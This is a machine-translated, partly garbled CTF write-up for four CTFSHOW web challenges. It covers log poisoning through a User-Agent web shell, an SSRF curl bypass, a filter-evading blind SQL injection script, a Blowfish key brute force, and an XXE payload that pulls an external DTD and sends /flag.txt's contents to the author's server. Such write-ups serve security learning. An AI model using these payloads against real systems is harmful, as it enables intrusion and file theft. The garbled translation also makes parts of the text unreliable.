[CTFSHOW] WEBAK赛


はじめに:私は日々徐々に変化できることを願っています

サインイン_guanji

最初にデータの疑似プロトコルの波を試したところ、禁止されていることがわかりました。長い間考えていたのですが、ログに害があることを忘れていました。file=/var/log/nginx/access.log

ここに写真の説明を挿入
UAトロイの木馬という言葉を入れてみてください

ここに写真の説明を挿入
ウーフー、離陸!
ここに写真の説明を挿入
system("ls /");
ここに写真の説明を挿入
終わり
ここに写真の説明を挿入

web1_viewワード

私たちが望むことをコード監査、タイトル手段curl http://192.168.7.68/flagのフラグを取得するからエコー我々が渡され、それを.濾過し、そして私は数にIP変換と考えると等価である192.168.1.1003232237668、この(デジタルアドレスとIPアドレス)が、この質問を濾過し0頼りにしていますが、最終的にマスターのwpを代わりに使用できることがわかりました.

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    
    
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
    
    
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
    
    
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

ついに旗を手に入れた
ここに写真の説明を挿入

web2_gazing

一見したところsql注入わかりました。ファズした後、無効になっている関数がたくさん見つかりました。
ここに写真の説明を挿入
通常のsqlブラインドインジェクションペイロードはほぼ同じです
1^if(1=1,1,0)現在は使用できません。
スペースは除外でき、括弧で置き換えることができます。
一重引用符は16進数でフィルタリングできます置換;
コンマをフィルタリングします。substrの場合、substr(database()、1,1)の代わりにsubstr(database()from 1 for 1)
を使用できます。コンマがある場合は、ifの代わりにcase
を使用できます。asciiフィルタリングする場合は、代わりにordを使用できます。
等号などをフィルタリングした後、代わりにregexpを使用できます。
したがって、上記の通常のステートメントは次のように変換できます。
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

import requests
import time
url = "http://0d7d7067-4ff7-4557-a713-af5bd4d3ed35.chall.ctf.show/index.php?id=0^"
flag = ""
for i in range(1, 50):
    for j in range(38, 126):
        # payload="case(ord(substr(database()from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
        # payload="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
        # payload="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
        payload = "case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(1)else(2)end".format(i, j)
        u = url + payload
        r = requests.get(u)
        time.sleep(0.3)
        if "By Rudyard Kipling" in r.text:
            flag += chr(j)
            print(flag)
            break

web3_view画像

最初にソースコードを確認し、これを見つけました。base64復号化を使用すると、文字化けしたコードの束であることがわかりました。次の画像パラメータを削除すると、ソースコードが表示されますここに写真の説明を挿入
ここに写真の説明を挿入
。公式のPHPドキュメントにあるように、ブラストすることは可能です。

注:一部のプラットフォーム(Windowsなど)では、getrandmax()は32767のみです。必要な範囲が32767より大きい場合は、min
パラメーターとmaxパラメーターを指定してより大きな数を生成するか、代わりにmt_rand()の使用を検討してください。

最後のバーストは27347です

/*author 
    Y4tacker
*/
<?php
for($i=0;$i<32768;$i++){
    
    
    $key = substr(md5('ctfshow'.$i),3,8);
    $image="Z6Ilu83MIDw=";
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(strpos($str,"jpg") or strpos($str,"png") or strpos($str,"gif")){
    
    
        print($i);
        break;
    }
}

次のステップは、キーを取得して生成することです

<?php
/*author
    Y4tacker
*/
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;

終わり
ここに写真の説明を挿入

web4_viewハート

私も少し最初にプレイしました。Fuckは本当にこんな感じです。推測しました。次に、Webページのソースコードを確認してプロンプト<!-- flag in filesystem /flag.txt -->
ここに写真の説明を挿入
を表示します。正直なところ、私は盲目でした。次にWPを見に行って見ました。 XXE、理解するためのhh秒、もちろん、WPは私が自分でダウンしていることを読んでいません、私のVPSに行き、ここで使用したいくつかの考えをし通过DTD窃取文件
ますxmlファイルの最初のものです

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://test.y4tacker.top/evil.dtd">

<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://我服务器的ip:7999/?pass=%p1;'>">
%p2;

その後、別のサーバーで監視をオンにしました。
ここに写真の説明を挿入
ああ、急いで監視しても意味がありません。とにかく、ページにフラグ付きのエラーが報告された理由はわかりません
が、内部ネットワーク環境の原因であると思われます。ここに写真の説明を挿入

参考記事

SSRFバイパスメソッドの概要
XXE脆弱性活用手法:XMLからリモートコード実行まで

おすすめ

転載: blog.csdn.net/solitudi/article/details/109412227